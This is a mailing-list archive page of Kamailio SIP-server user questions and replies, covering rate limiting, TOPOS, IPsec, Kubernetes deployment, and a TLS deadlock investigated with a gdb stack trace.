[/usr/lib/kamailio/modules/ratelimit.so] 2025-03-26T18:59:20.509822755Z 0(1) DEBUG: <core> [core/modparam.c:112]: set_mod_param_regex(): 'ratelimit' matches module 'ratelimit' 2025-03-26T18:59:20.509825068Z 0(1) DEBUG: <core> [core/sr_module.c:850]: find_param_export(): found <pipe> in module ratelimit [/usr/lib/kamailio/modules/ratelimit.so] 2025-03-26T18:59:20.509827468Z 0(1) DEBUG: <core> [core/modparam.c:135]: set_mod_param_regex(): found <pipe> in module ratelimit [/usr/lib/kamailio/modules/ratelimit.so] 2025-03-26T18:59:20.509829943Z 0(1) DEBUG: ratelimit [ratelimit.c:925]: parse_pipe_params(): pipe: [1|TAILDROP|10] 2025-03-26T18:59:20.510800378Z 0(1) DEBUG: <core> [core/sr_module.c:758]: find_mod_export_record(): found export of <rl_check_pipe> in module ratelimit [/usr/lib/kamailio/modules/ratelimit.so] 2025-03-26T18:59:20.519776933Z 0(1) DEBUG: <core> [core/sr_module.c:1031]: init_mod(): ratelimit ########## LOGS WHEN APPLY RATELIMIT ########## 2025-03-26T19:01:02.095676663Z 1(7) DEBUG: {1 1 INVITE 1-1(a)192.168.100.15} ratelimit [ratelimit.c:861]: w_rl_check_forced_pipe(): trying pipe 1 2025-03-26T19:01:02.095679040Z 1(7) DEBUG: {1 1 INVITE 1-1(a)192.168.100.15} ratelimit [ratelimit.c:830]: rl_check(): meth=INVITE queue=0 pipe=1 algo=2 limit=10 pkg_load=0 counter=1 load=0.0 network_load=0 => ACCEPT . . 2025-03-26T19:01:02.272879226Z 2(8) DEBUG: {1 1 INVITE 10-1(a)192.168.100.15} ratelimit [ratelimit.c:861]: w_rl_check_forced_pipe(): trying pipe 1 2025-03-26T19:01:02.272881671Z 2(8) DEBUG: {1 1 INVITE 10-1(a)192.168.100.15} ratelimit [ratelimit.c:830]: rl_check(): meth=INVITE queue=0 pipe=1 algo=2 limit=10 pkg_load=0 counter=10 load=0.0 network_load=0 => ACCEPT 2025-03-26T19:01:02.292599816Z 2(8) DEBUG: {1 1 INVITE 11-1(a)192.168.100.15} ratelimit [ratelimit.c:861]: w_rl_check_forced_pipe(): trying pipe 1 2025-03-26T19:01:02.292602425Z 2(8) DEBUG: {1 1 INVITE 11-1(a)192.168.100.15} ratelimit [ratelimit.c:830]: rl_check(): meth=INVITE queue=0 pipe=1 algo=2 limit=10 pkg_load=0 counter=11 load=0.0 network_load=0 => DROP . . 2025-03-26T19:01:02.492680874Z 1(7) DEBUG: {1 1 INVITE 21-1(a)192.168.100.15} ratelimit [ratelimit.c:861]: w_rl_check_forced_pipe(): trying pipe 1 2025-03-26T19:01:02.492694107Z 1(7) DEBUG: {1 1 INVITE 21-1(a)192.168.100.15} ratelimit [ratelimit.c:830]: rl_check(): meth=INVITE queue=0 pipe=1 algo=2 limit=10 pkg_load=0 counter=21 load=0.0 network_load=0 => DROP 2025-03-26T19:01:02.513079779Z 2(8) DEBUG: {1 1 INVITE 22-1(a)192.168.100.15} ratelimit [ratelimit.c:861]: w_rl_check_forced_pipe(): trying pipe 1 2025-03-26T19:01:02.513088852Z 2(8) DEBUG: {1 1 INVITE 22-1(a)192.168.100.15} ratelimit [ratelimit.c:830]: rl_check(): meth=INVITE queue=0 pipe=1 algo=2 limit=10 pkg_load=0 counter=22 load=0.0 network_load=0 => DROP 2025-03-26T19:01:02.532804253Z 1(7) DEBUG: {1 1 INVITE 23-1(a)192.168.100.15} ratelimit [ratelimit.c:861]: w_rl_check_forced_pipe(): trying pipe 1 2025-03-26T19:01:02.532808087Z 1(7) DEBUG: {1 1 INVITE 23-1(a)192.168.100.15} ratelimit [ratelimit.c:830]: rl_check(): meth=INVITE queue=0 pipe=1 algo=2 limit=10 pkg_load=2 counter=1 load=0.1 network_load=0 => ACCEPT When the countdown restarts, it's "19:01:02.53" hours, and when it started, it was "19:01:02.09" hours. It doesn't reach the second. The drop system works well, but if my limit was 25 calls, I would have accepted the 22 I counted in the first second, plus the other 25 from the second number 2. Second question: There's a warning about a performance penalty in Kamailio when timer_interval is too small, so I've decided to set it to 2 just for practical purposes. So what should happen is that the counter would accept up to 10 calls in 2 seconds. But in the logs, what I see is the opposite: it accepts 20 calls in 2 seconds. Maybe it's supposed to work that way, and I'm misunderstanding the documentation? As optional information: Kamailio is running on a Google virtual machine, 12MB of RAM, 3 processors, 2 of which are dedicated. I'm using SIPP for load testing, and different call rates have been validated before testing the module. Sorry if my first post in this community was too long or is there more information missing :) . Thanks in advance

1 0

kamailio call redirect
by fabienbrou＠alcall.net 26 Mar '25

26 Mar '25

Hello everyone. I'm trying to redirect a call directly through kamailio by modifying the $ru variable. Just wondering if this is the right method or if there is a better way to do it. thanks

4 13

is possible empty actions?
by Sergey Safarov 26 Mar '25

26 Mar '25

I want to use contributions like route[PROXY_MEDIA] { if (is_method("BYE|CANCEL")) { # passing message for RTPengine processing } else if (!sdp_content()) { return; } # more instructions here ... rtpengine_manage(); } Now Kamailio cannot start because first if block has empty actions. How does nothing in the actions? I want to avoid not needed log messages and do not use constructions like if (!sdp_content() and ! is_method("BYE|CANCEL")) { return; }

3 2

Seeking advices on redesigning our VoIP system for scalability and manageability
by Francesco 26 Mar '25

26 Mar '25

Dear all, I hope this email finds you well. I am reaching out to gather insights and suggestions regarding a potential redesign of our VoIP system to improve scalability, ease of management, and upgradeability. *Current Setup:* - Our system is *not multi-tenant* and is based on *Kamailio and FreeSWITCH* in a distributed architecture (as example of distributed architecture, see: https://ufdcimages.uflib.ufl.edu/UF/E0/04/92/89/00001/THOMPSON_C.pdf). - Everything runs inside *LXC containers* across multiple nodes. - One of the challenges we face is *OS upgrades*, which are cumbersome and require significant manual intervention. - At the moment the code for voip is done with ansible Given these challenges, I am considering whether a *microservices-based architecture* could be a viable option. However, I have some concerns regarding: - *SIP and RTP handling with NATed containers* (e.g., Kubernetes, Docker Swarm) and potential issues with media traversal. - *Performance impact* when shifting real-time traffic handling to containerized environments. - *Upgrade and deployment strategies*—how to achieve smoother, rolling upgrades without service interruptions. - *Alternative approaches* that might be more effective, such as a hybrid model combining LXC with containerized microservices for specific functions. If anyone has experience transitioning a VoIP system to microservices or has insights on best practices for *scalable, maintainable VoIP architectures*, I would greatly appreciate your thoughts. What worked for you? What pitfalls should we be aware of?Do you have any documentation that I can check? Looking forward to learning from your experiences. Thank you. .: Francesco Colista .: Francesco Colista

3 2

TOPOS Issue with Response Handling on two different Interfaces
by Vinayak Makwana 25 Mar '25

25 Mar '25

Hello all, We are facing an issue while configuring TOPOS in Kamailio P-CSCF (running under Docker). Our objective is to strip Via, Record-Route, and Route headers for both INVITE and 180 Ringing responses. However, we observe unexpected behavior when handling the 180 Ringing/200 OK responses. Call Flow & Issue Description: Note: Public IP and Private IP mapping using the below configuration. listen=udp:Local_IP:5060 name "internal" listen=udp:Local_IP:6070 advertise Public_IP:6070 name "external" Call Flow (INVITE): A-Party --> Kamailio P-CSCF (Public IP) --> Kamailio P-CSCF (Private IP) --> Kamailio S-CSCF (Private IP) --> Kamailio P-CSCF (Private IP) --> Kamailio P-CSCF (Public IP) --> B-Party For an incoming *INVITE* (A-Party → B-Party), TOPOS successfully strips the headers when the message flows through the P-CSCF, ensuring proper privacy of routing information. *Issue* : When B-Party sends a 180 Ringing, we observe that Kamailio P-CSCF (Private IP) adds a Record-Route header before forwarding the message to A-Party. Call Flow (180 Ringing): B-Party --> Kamailio P-CSCF (Public IP) --> Kamailio P-CSCF (Private IP) --> Kamailio S-CSCF (Private IP) We need to ensure that the Record-Route and Via headers are stripped properly in both directions. Please guide us how to achieve and what we are doing wrong. TOPOS module is configured as follows: modparam("ndb_redis", "server", "name=srv1;addr=127.0.0.1;port=6379") modparam("topos_redis", "serverid", "srv1") modparam("topos", "storage", "redis") modparam("topos", "contact_mode", 1) modparam("topos", "rr_update", 1) RR module is configured as follows: modparam("rr", "enable_full_lr", 1) modparam("rr", "append_fromtag", 1) configured the below event_route: event_route[topos:msg-outgoing] { xlog("L_INFO","[topos:msg-outgoing]"); if(is_request() and $sndto(ip)=="SCSCF_PRIVATE_IP") { xlog("L_INFO","[topos:msg-outgoing] TOPOS \n"); drop; } } Thanks, Vinayak Makwana -- *Disclaimer* In addition to generic Disclaimer which you have agreed on our website, any views or opinions presented in this email are solely those of the originator and do not necessarily represent those of the Company or its sister concerns. Any liability (in negligence, contract or otherwise) arising from any third party taking any action, or refraining from taking any action on the basis of any of the information contained in this email is hereby excluded. *Confidentiality* This communication (including any attachment/s) is intended only for the use of the addressee(s) and contains information that is PRIVILEGED AND CONFIDENTIAL. Unauthorized reading, dissemination, distribution, or copying of this communication is prohibited. Please inform originator if you have received it in error. *Caution for viruses, malware etc.* This communication, including any attachments, may not be free of viruses, trojans, similar or new contaminants/malware, interceptions or interference, and may not be compatible with your systems. You shall carry out virus/malware scanning on your own before opening any attachment to this e-mail. The sender of this e-mail and Company including its sister concerns shall not be liable for any damage that may incur to you as a result of viruses, incompleteness of this message, a delay in receipt of this message or any other computer problems.

1 1

Running Kamailio in kubernetes
by sagar agarwal 25 Mar '25

25 Mar '25

Hi team, I am looking for some guidance to run Kamailio as part of our Kubernetes cluster. I don't see any official or well maintained helm chart out there to install Kamailio on K8s. If there is a recommendation from your side on a helm chart please let me know. Also would be interesting to know if you foresee any issues with running Kamailio on k8s or do you feel its better to stick with ec2 based installations. Regards Sagar Agarwal

4 3

Problem with ipsec setting of Via for outgoing message
by Minello, Loredana 24 Mar '25

24 Mar '25

Hello, I'm using Kamailio ver. 5.8.4. I configured the ims_ipsec_pcscf with modparam("ims_ipsec_pcscf", "ipsec_max_connections", 1) and call ipsec_forward with flag = IPSEC_FORWARD_FLAGS where : # - IPSEC_SEND_FORCE_SOCKET 1 # - IPSEC_FORWARD_USEVIA 256 #!define IPSEC_FORWARD_FLAGS 257 For the UE REGISTRATION I have the following flow UE PCSCF_GM_IMS REGISTER (32133) ------------------> (5060) 100 Trying (32133) <------------------ (5060) 401 Unauthorized (32133) <------------------ (5060) REGISTER (TCP) (PORT_UC) ------------------> (PORT_PS) 100 Trying (TCP) (PORT_UC) <------------------ (PORT_PS) 200 OK (TCP) (PORT_UC) <------------------ (PORT_PS) ------------------------------------------------------------------ SUBSCRIBE (UDP) (PORT_UC) ------------------> (PORT_PS) 200 Subscription (UDP) (PORT_US) <------------------ (PORT_PC) NOTIFY (UDP) (PORT_US) <------------------ (PORT_PC) 200 OK (UDP) (PORT_UC) ------------------> (PORT_PC) NOTIFY (UDP) (PORT_US) <------------------ (PORT_PC) 200 OK (UDP) (PORT_UC) ------------------> (PORT_PC) NOTIFY (UDP) (PORT_US) <------------------ (PORT_PC) 200 OK (UDP) (PORT_UC) ------------------> (PORT_PC) The SUBSCRIBE behavior is correct : PCSCF receives message on PORT_PS and sends on PORT_PC The NOTIFY behavior is wrong: PCSCF send from PORT_PC (correct), but UE respond towards PORT_PC, defined in the Via of the NOTIFY. I know I can use the set_advertised_port() function, and in this case can work, but the function is taking a constant as a parameter, not a variable. This is causing a problem when ipsec_max_connections > 1. In that case it won't be easy to pass the correct port. I was wondering if the ipsec module should properly set the VIA port to the correct PORT_PS, rather than leaving the setting of the correct port by the kamailio.cfg. Do you have any hints on that? Thanks

1 0

Re: send_fd(): sendmsg failed sending 55 on 52: Too many references: cannot splice (109)
by Mathias Schneuwly 24 Mar '25

24 Mar '25

Thank you, I've already changed the value, but that didn't solve my issue with the blocking Kamailio. I did some tests with an older Yocto image which contains Kamailio 5.5.4 and OpenSSL 1.1.1w. With this combination I was not able to reproduce the deadlock. Am Fr., 21. März 2025 um 16:49 Uhr schrieb Harald Kapper <hk(a)kapper.net>: > Hi > > fyi – in case you need this: > > systemctl edit kamailio.service > > > > add: > > ### Editing /etc/systemd/system/kamailio.service.d/override.conf > > ### Anything between here and the comment below will become the contents > of the drop-in file > > > > [Service] > > LimitNOFILE=40960 > > > > ### Edits below this comment will be discarded > > > > (or whatever number you’d like) > > saving saves the override for systemd into (like) > /etc/systemd/system/kamailio.service.d/override.conf > > > > Afterwards you have to restart the service (systemctl restart > kamailio.service) > > > > And you should be fine. > > > > Regards, hk > > > > *Von:* Henning Westerholt via sr-users <sr-users(a)lists.kamailio.org> > *Gesendet:* Donnerstag, 20. März 2025 14:25 > *An:* Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org> > *Cc:* Mathias Schneuwly <mathias(a)schneuwlys.ch>; Henning Westerholt < > hw(a)gilawa.com> > *Betreff:* [SR-Users] Re: send_fd(): sendmsg failed sending 55 on 52: Too > many references: cannot splice (109) > > > > Hello Mathias, > > > > yes, you can set the open files e.g. in the systemd unit file for Kamailio. > > > > Cheers, > > > > Henning > > > > *From:* Mathias Schneuwly via sr-users <sr-users(a)lists.kamailio.org> > *Sent:* Donnerstag, 20. März 2025 13:43 > *To:* sr-users(a)lists.kamailio.org > *Cc:* Mathias Schneuwly <mathias(a)schneuwlys.ch> > *Subject:* [SR-Users] Re: send_fd(): sendmsg failed sending 55 on 52: Too > many references: cannot splice (109) > > > > > I'll also give a try with 6.0.1 later. > > Meanwhile, I've tested 5.8.6 and 6.0.1 and both show the same issue. > > > > Am Do., 20. März 2025 um 10:21 Uhr schrieb Mathias Schneuwly < > mathias(a)schneuwlys.ch>: > > Hi Henning > > > > > Maybe also check the actual limits by “cat /proc/$kamailio-pid/limits” > Not 100% if its related, but if you are looking to scale this would be for > sure required. > > The limit was > > Max open files 1024 524288 files > > and I changed it now to > > Max open files 65536 65536 files > > > > Are there some recommendations for the limit? Would it make sense to > change that in the provided systemd file if you say that 1024 is not that > much? > > > > But anyway, it fails with 1024 and with 65536. > > > > I've also updated to 5.8.5 and it shows the same issue. I'll also give a > try with 6.0.1 later. > > > > > About the tls_thread_mode – you should use mode 2 if you are running > with openssl 3.x, otherwise you probably will observe random crashes. > > We are running OpenSSL 3.2.3 and tls_thread_mode is set to 2. But it still > blocks. > > > > Best regards > > Mathias > > > > Am Do., 20. März 2025 um 08:42 Uhr schrieb Henning Westerholt < > hw(a)gilawa.com>: > > Hello Mathias, > > > > 1024 open files are not that much, you should increase it for the kamailio > user. Maybe also check the actual limits by “cat > /proc/$kamailio-pid/limits” > > Not 100% if its related, but if you are looking to scale this would be for > sure required. > > > > About the tls_thread_mode – you should use mode 2 if you are running with > openssl 3.x, otherwise you probably will observe random crashes. > > > > If you are seeing the mentioned problem with 15 phones, this is clearly a > problem and should be further investigated. > > > > Cheers, > > > > Henning > > > > > > *From:* Mathias Schneuwly via sr-users <sr-users(a)lists.kamailio.org> > *Sent:* Donnerstag, 20. März 2025 08:07 > *To:* sr-users(a)lists.kamailio.org > *Cc:* Mathias Schneuwly <mathias(a)schneuwlys.ch> > *Subject:* [SR-Users] Re: send_fd(): sendmsg failed sending 55 on 52: Too > many references: cannot splice (109) > > > > Hi > > > > Thanks for the reply. We are using the following limits and I guess they > are the default values > > real-time non-blocking time (microseconds, -R) unlimited > core file size (blocks, -c) unlimited > data seg size (kbytes, -d) unlimited > scheduling priority (-e) 0 > file size (blocks, -f) unlimited > pending signals (-i) 15666 > max locked memory (kbytes, -l) 8192 > max memory size (kbytes, -m) unlimited > open files (-n) 1024 > pipe size (512 bytes, -p) 8 > POSIX message queues (bytes, -q) 819200 > real-time priority (-r) 0 > stack size (kbytes, -s) 8192 > cpu time (seconds, -t) unlimited > max user processes (-u) 15666 > virtual memory (kbytes, -v) unlimited > file locks (-x) unlimited > > > > But to me, it looks more like a deadlock somewhere around SSL_accept. > According to the stack trace generated with "kamctl trap", all 8 TCP > receiver processes are waiting in "#1 0x00007fa14ca04830 in > pthread_rwlock_wrlock () from /usr/lib/libc.so.6". I guess the message "Too > many references: cannot splice (109)" is just the consequence as the main > process is no longer able to dispatch jobs to the child workers. > > > > Meanwhile, I'm able to reproduce the issue. It requires a bit of brute > force, but it deadlocks reliably after a few seconds. > > > > I'm flooding Kamailio with register messages using sipexer. I'm running > the following command 3 times in parallel and always after a few seconds, > Kamailio is completely blocked. > > watch -n 0.1 "./sipexer -register -vl 3 -co -com -ex 3600 -fu "2" -au "2" > -ap "test" -tk <path to key>.key -tc <path to cert>.cer -ti -sd -ru > sip:<domain> -cu sip:2@<domain> tls:<fqdn>:5061;sleep 0.1;./sipexer > -register -vl 3 -co -com -ex 0 -fu "2" -au "2" -ap "test" -tk <path to > key>.key -tc <path to cert>.cer -ti -sd -ru sip:<domain> -cu sip:2@<domain> > tls:<fqdn>:5061" > > > > I played a bit with the parameters "modparam("tls", "init_mode", 1)" and > "tls_threads_mode = 2", but it didn't seem to change anything. > > > > Please have in mind that we usually do not stress Kamailio that much. We > have seen the issue a couple of times with around 5 to 15 SIP phones > registered. But in this usual setup, the problem does not occur reliably. > > > > Best regards > > Mathias > > > > Am Di., 18. März 2025 um 21:53 Uhr schrieb Henning Westerholt < > hw(a)gilawa.com>: > > Hello, > > > > check the ulimit settings for the kamailio user and general resource usage > on that system. In development branch there is also a feature present to > print the actual ulimits on startup. > > > > Cheers, > > > > Henning > > > > *From:* Mathias Schneuwly via sr-users <sr-users(a)lists.kamailio.org> > *Sent:* Montag, 17. März 2025 13:41 > *To:* sr-users(a)lists.kamailio.org > *Cc:* Mathias Schneuwly <mathias(a)schneuwlys.ch> > *Subject:* [SR-Users] send_fd(): sendmsg failed sending 55 on 52: Too > many references: cannot splice (109) > > > > Hi > > > > We are using kamailio 5.8.4. > > > > Recently, we noticed, that after a few days, we see the following messages > from Kamailio `2025 Mar 17 10:22:11 ttel CRITICAL: <core> > [core/pass_fd.c:193]: send_fd(): sendmsg failed sending 55 on 52: Too many > references: cannot splice (109)`. > > > > When this happens, devices are no longer able to register. At the moment > we have no idea what might be wrong. > > > > Unfortunately, the internet does not reveal much information regarding > this issue. In one issue related to Kamailio ( > https://lists.kamailio.org/mailman3/hyperkitty/list/sr-users@lists.kamailio…), > I found the command `kamctl trap` and when I execute that, I see one issue, > which might be related, but I'm just guessing... > > > > ``` > > ---start 1782236 ----------------------------------------------------- > [Thread debugging using libthread_db enabled] > Using host libthread_db library "/usr/lib/libthread_db.so.1". > 0x00007fa14c9fb1c6 in ?? () from /usr/lib/libc.so.6 > $1 = 26 > $2 = {pid = 1782236, unix_sock = 36, idx = 0, status = 1, rank = 17, desc > = "tcp receiver (generic) child=0", '\000' <repeats 97 times>} > #0 0x00007fa14c9fb1c6 in ?? () from /usr/lib/libc.so.6 > No symbol table info available. > #1 0x00007fa14ca04830 in pthread_rwlock_wrlock () from /usr/lib/libc.so.6 > No symbol table info available. > #2 0x00007fa14ac20b49 in CRYPTO_THREAD_write_lock () from > /usr/lib/libcrypto.so.3 > No symbol table info available. > #3 0x00007fa14adbd5da in ?? () from /usr/lib/libcrypto.so.3 > No symbol table info available. > #4 0x00007fa14adbd9ca in ?? () from /usr/lib/libcrypto.so.3 > No symbol table info available. > #5 0x00007fa14adbc907 in ?? () from /usr/lib/libcrypto.so.3 > No symbol table info available. > #6 0x00007fa14adbd26c in ?? () from /usr/lib/libcrypto.so.3 > No symbol table info available. > #7 0x00007fa14adbd68e in ?? () from /usr/lib/libcrypto.so.3 > No symbol table info available. > #8 0x00007fa14abe75c6 in ?? () from /usr/lib/libcrypto.so.3 > No symbol table info available. > #9 0x00007fa14abe840b in EVP_RAND_generate () from /usr/lib/libcrypto.so.3 > No symbol table info available. > #10 0x00007fa14acf9282 in RAND_bytes_ex () from /usr/lib/libcrypto.so.3 > No symbol table info available. > #11 0x00007fa14b06cce8 in ?? () from /usr/lib/libssl.so.3 > No symbol table info available. > #12 0x00007fa14b05bdf7 in ?? () from /usr/lib/libssl.so.3 > No symbol table info available. > #13 0x00007fa14b0ef036 in tls_accept (c=c@entry=0x7fa1475c0dc0, > error=error@entry=0x7ffebd9443b8) at tls_server.c:457 > ret = <optimized out> > ssl = warning: could not convert 'ssl_st' from the host encoding > (ANSI_X3.4-1968) to UTF-32. > This normally should not happen, please file a bug report. > 0x7fa147668bd0 > cert = <optimized out> > tls_c = 0x7fa14768f490 > tls_log = <optimized out> > __func__ = "tls_accept" > #14 0x00007fa14b0f7540 in tls_h_read_f (c=0x7fa1475c0dc0, > flags=0x7ffebd9647d0) at tls_server.c:1153 > r = 0x7fa1475c0ee8 > bytes_free = 16383 > bytes_read = <optimized out> > read_size = <optimized out> > ssl_error = 0 > ssl_read = 0 > ssl = 0x7fa147668bd0 > rd_buf = > "\026\003\003\004\016\v\000\004\n\000\004\a\000\004\0040\202\004\0000\202\002\350\240\003\002\001\002\002\002\026\0270\r\006\t*\206H\206\367\r\001\001\v\005\0000b1\v0\t\006\003U\004\006\023\002CH1\r0\v\006\003U\004\b\f\004Bern1\r0\v\006\003U\004\a\f\004Bern1\r0\v\006\003U\004\n\f\004RUAG1\0200\016\006\003U\004\v\f\aDefence1\0240\022\006\003U\004\003\f\versaimfs.ch0\036\027\r230302163519Z\027\r291230163519Z0`1\v0\t\006\003U\004\006\023\002CH1\r0\v\006\003"... > wr_buf = > "\026\003\003\000A\002\000\000=\003\003\371\204\326\361\262-9\300\344gV\2316\373\235D\314\225u8\v}\215\254DOWNGRD\001\000\3000\000\000\025\377\001\000\001\000\000\v\000\004\003\000\001\002\000#\000\000\000\027\000\000\026\003\003\a\267\v\000\a\263\000\a\260\000\004\0040\202\004\0000\202\002\350\240\003\002\001\002\002\002\r>0\r\006\t*\206H\206\367\r\001\001\v\005\0000b1\v0\t\006\003U\004\006\023\002CH1\r0\v\006\003U\004\b\f\004Bern1\r0\v\006\003U\004\a\f\004Bern1\r0\v\006\003U\004\n\f\004RUAG1\0200\016\006\003U\004\v\f\aDefence1\0240\022\006"... > rd = {buf = 0x7ffebd944480 "\026\003\003\004\016\v", pos = 1405, > used = 1405, size = 65536} > wr = {buf = 0x7ffebd954480 "\026\003\003", pos = 0, used = 0, size > = 65536} > tls_c = 0x7fa14768f490 > enc_rd_buf = <optimized out> > n = 0 > flush_flags = 0 > err_src = <optimized out> > ip_buf = '\000' <repeats 63 times> > x = <optimized out> > tls_dbg = <optimized out> > __func__ = "tls_h_read_f" > redo_read = <optimized out> > continue_ssl_read = <optimized out> > __llevel = <optimized out> > __kld = <optimized out> > __llevel = <optimized out> > __kld = <optimized out> > #15 0x000055d2519871b4 in tcp_read_headers (c=c@entry=0x7fa1475c0dc0, > read_flags=read_flags@entry=0x7ffebd9647d0) at core/tcp_read.c:445 > bytes = <optimized out> > remaining = <optimized out> > p = <optimized out> > r = 0x7fa1475c0ee8 > mc = <optimized out> > body_len = <optimized out> > tvnow = {tv_sec = 1742100857, tv_usec = 944923} > tvdiff = <optimized out> > mfline = <optimized out> > mtransid = <optimized out> > __func__ = "tcp_read_headers" > #16 0x000055d251989cef in tcp_read_req (con=0x7fa1475c0dc0, > bytes_read=bytes_read@entry=0x7ffebd9647c8, read_flags=read_flags@entry=0x7ffebd9647d0) > at core/tcp_read.c:1509 > bytes = <optimized out> > total_bytes = 0 > resp = 1 > size = <optimized out> > req = 0x7fa1475c0ee8 > dst = {send_sock = 0x55d251a91020, to = {s = {sa_family = 52024, > sa_data = "\257Q\322U\000\000\002\000\000\000\376\177\000"}, sin = > {sin_family = 52024, sin_port = 20911, sin_addr = {s_addr = 21970}, > sin_zero = "\002\000\000\000\376\177\000"}, sin6 = {sin6_family = 52024, > sin6_port = 20911, sin6_flowinfo = 21970, sin6_addr = {__in6_u = > {__u6_addr8 = > "\002\000\000\000\376\177\000\000\030\000\000\000\000\000\000", __u6_addr16 > = {2, 0, 32766, 0, 24, 0, 0, 0}, __u6_addr32 = {2, 32766, 24, 0}}}, > sin6_scope_id = 0}, sas = {ss_family = 52024, __ss_padding = > "\257Q\322U\000\000\002\000\000\000\376\177\000\000\030", '\000' <repeats > 23 times>, > "\001\000\000\000\000\000\000\000\001\000\000\000\000\000\000\000\262+\226Q\001 > \000\000\200,5L\241\177\000\000 \020\251Q\322U\000\000 > \020\251Q\322U\000\000\200\303\257Q\322U\000\00009SG\241\177\000\000\330G\226\275\376\177\000\000\b\000\000\000\000\000\000", > __ss_align = 20}}, id = 1, send_flags = {f = 1, blst_imask = 0}, proto = 14 > '\016', proto_pad0 = 0 '\000', proto_pad1 = 0} > c = <optimized out> > ret = <optimized out> > again = <optimized out> > __func__ = "tcp_read_req" > #17 0x000055d25198ebec in handle_io (fm=fm@entry=0x7fa14c352c80, > events=events@entry=1, idx=idx@entry=-1) at core/tcp_read.c:1906 > ret = 8 > n = 0 > read_flags = RD_CONN_SHORT_READ > con = 0x7fa1475c0dc0 > s = 14 > resp = <optimized out> > t = <optimized out> > ee = 0x0 > __func__ = "handle_io" > error = <optimized out> > #18 0x000055d25199469b in io_wait_loop_epoll (repeat=repeat@entry=0, t=2, > h=0x55d251c49d60 <io_w>) at core/io_wait.h:1075 > n = 1 > r = 0 > fm = 0x7fa14c352c80 > revents = 1 > __func__ = "io_wait_loop_epoll" > #19 0x000055d251994e87 in tcp_receive_loop (unix_sock=<optimized out>) at > core/tcp_read.c:2026 > __func__ = "tcp_receive_loop" > #20 0x000055d25197e72c in tcp_init_children (woneinit=woneinit@entry=0x7ffebd964d1c) > at core/tcp_main.c:5391 > r = <optimized out> > i = <optimized out> > reader_fd_1 = 39 > pid = <optimized out> > si_desc = "tcp receiver > (generic)\000\000`M\226\275\376\177\000\000\001\000\000\000\000\000\000\000\210\035\223Q\322U\000\000 > \020\251Q\322U\000\000\220\315\257Q\322U\000\000\220\242/L\241\177\000\000\025\000\000\000\000\000\000\000\004\000\000\000\000\000\000\000%\020\251Q\322U\000\000HU\257Q\322U\000\000e\005\000\000\000\000\000\000 > \020\251Q\322U\000\000\3750\235Q\322U\000" > si = <optimized out> > __func__ = "tcp_init_children" > error = <optimized out> > #21 0x000055d2517c6c7e in main_loop () at main.c:1950 > i = <optimized out> > pid = <optimized out> > si = <optimized out> > si_desc = "udp receiver child=7 sock=10.0.90.1:5060\000\000\000\000\322U\000\000?\342\017K\241\177\000\000\022\000\000\000\377\377\377\377\200\006\265L\241\177\000\000\253m\237L\241\177\000\000\361|\003\000\000\000\000\000\t\000\000\000\000\000\000\000Sat > Mar 15 05:25:32 2025\n\000\264L\241\177\000" > nrprocs = <optimized out> > woneinit = 1 > __func__ = "main_loop" > error = <optimized out> > #22 0x000055d2517bc151 in main (argc=<optimized out>, argv=<optimized > out>) at main.c:3256 > cfg_stream = <optimized out> > c = <optimized out> > r = <optimized out> > tmp = 0x7ffebd966e7f "" > tmp_len = 32673 > port = 5060 > proto = 0 > aproto = 0 > ahost = 0x0 > aport = 0 > options = 0x55d251aa74b8 > ":f:cm:M:dVIhEeb:B:l:L:n:vKrRDTN:W:w:t:u:g:P:G:SQ:O:a:A:x:X:Y:" > ret = -1 > seed = 3209119183 > rfd = <optimized out> > debug_save = <optimized out> > debug_flag = <optimized out> > dont_fork_cnt = 0 > n_lst = <optimized out> > p = <optimized out> > st = {st_dev = 24, st_ino = 46237, st_nlink = 2, st_mode = 16888, > st_uid = 899, st_gid = 899, __pad0 = 0, st_rdev = 0, st_size = 40, > st_blksize = 4096, st_blocks = 0, st_atim = {tv_sec = 1742012732, tv_nsec = > 217328715}, st_mtim = {tv_sec = 1742012732, tv_nsec = 217328715}, st_ctim = > {tv_sec = 1742012732, tv_nsec = 217328715}, __glibc_reserved = {0, 0, 0}} > l1 = <optimized out> > tbuf = '\000' <repeats 32 times>, > "\030\202\237\275\376\177\000\000@\002\000\000@\003\000\000\001", '\000' > <repeats 23 times>, "@\003\000\000@\003\000\000@\003\000\000@\003\000\000@ > \003\000\000@\003\000\000@\003\000\000@\003\000\000@\003\000\000@ > \003\000\000@\003\000\000@\003\000\000@\003\000\000@\003\000\000@ > \003\000\000@\003\000\000@\003\000\000@\003\000\000@\003\000\000@ > \003\000\000@\003\000\000@\003", '\000' <repeats 11 times>, "\001", > '\000' <repeats 118 times>... > option_index = 12 > long_options = {{name = 0x55d251a9230b "help", has_arg = 0, flag = > 0x0, val = 104}, {name = 0x55d251a937a4 "version", has_arg = 0, flag = 0x0, > val = 118}, {name = 0x55d251a9826a "alias", has_arg = 1, flag = 0x0, val = > 1024}, {name = 0x55d251a92310 "subst", has_arg = 1, flag = 0x0, val = > 1025}, {name = 0x55d251a92316 "substdef", has_arg = 1, flag = 0x0, val = > 1026}, {name = 0x55d251a9231f "substdefs", has_arg = 1, flag = 0x0, val = > 1027}, {name = 0x55d251a92329 "server-id", has_arg = 1, flag = 0x0, val = > 1028}, {name = 0x55d251a92333 "loadmodule", has_arg = 1, flag = 0x0, val = > 1029}, {name = 0x55d251a9233e "modparam", has_arg = 1, flag = 0x0, val = > 1030}, {name = 0x55d251a92347 "log-engine", has_arg = 1, flag = 0x0, val = > 1031}, {name = 0x55d251a938c1 "debug", has_arg = 1, flag = 0x0, val = > 1032}, {name = 0x55d251a92352 "cfg-print", has_arg = 0, flag = 0x0, val = > 1033}, {name = 0x55d251a9235c "atexit", has_arg = 1, flag = 0x0, val = > 1034}, {name = 0x55d251a92363 "all-errors", has_arg = 0, flag = 0x0, val = > 1035}, {name = 0x0, has_arg = 0, flag = 0x0, val = 0}} > __func__ = "main" > [Inferior 1 (process 1782236) detached] > ---end 1782236 ------------------------------------------------------- > > ``` > > > > Does anybody have an idea what this could be? I never saw that with > previous versions, and now we can see it on several instances, but we are > yet unable to reproduce. > > > > Not sure if this might be related, but we also see many messages like `Mar > 17 13:39:03 ttel /usr/sbin/kamailio[2882127]: CRITICAL: <core> > [core/tcp_main.c:5558]: tcp_timer_check_connections(): message processing > timeout on connection id: 402 (state: 0) - closing` > > > > Best regards > > Mathias > >

1 0

Dispatcher module resets URI parameters
by Marat Gareev 22 Mar '25

22 Mar '25

